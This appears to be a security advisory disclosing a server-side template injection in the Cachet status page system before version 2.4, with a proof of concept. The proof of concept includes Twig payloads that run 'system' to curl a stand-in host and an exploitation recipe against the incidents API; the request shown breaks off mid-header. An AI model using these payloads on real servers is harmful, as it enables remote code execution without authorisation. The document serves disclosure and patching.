Cachet, the open-source status page system. Prior to the 2.4 branch, a template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Commit 6fb043e109d2a262ce3974e863c54e9e5f5e0587 of the 2.4 branch contains a patch for this issue.

Affected: Packagist: cachethq/cachet

### Summary

A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within `/cachet/app/Http/Routes/ApiRoutes.php`, and attacker could control `template` input which is passed to `laravel's` dispatched handler `/cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php`. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.

This vulnerability does not exist within the [Twig](https://twig.symfony.com/) library itself, but exists during the process of the [Cachet](https://github.com/cachethq/cachet) processing of the data without any filtration. This has been patched in Cachet version 2.4.

### PoC

1. Log in as a default user (non-admin); 2. Create an incident with name `slug1` and with content: `{{ ['curl yourhost.com','']|sort('system') }}` or with any other content for `Remote code execution` via the `Twig`, for instance: `{{[0]|reduce('system','curl yourhost.com')}}`; 3. Get an `API` token from your account settings (`X-Cachet-Token`); 4. Trigger remote code execution using the `api` route:

``` POST /api/v1/incidents HTTP/1.1 Host: myapp Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Accept: text/html,applicat…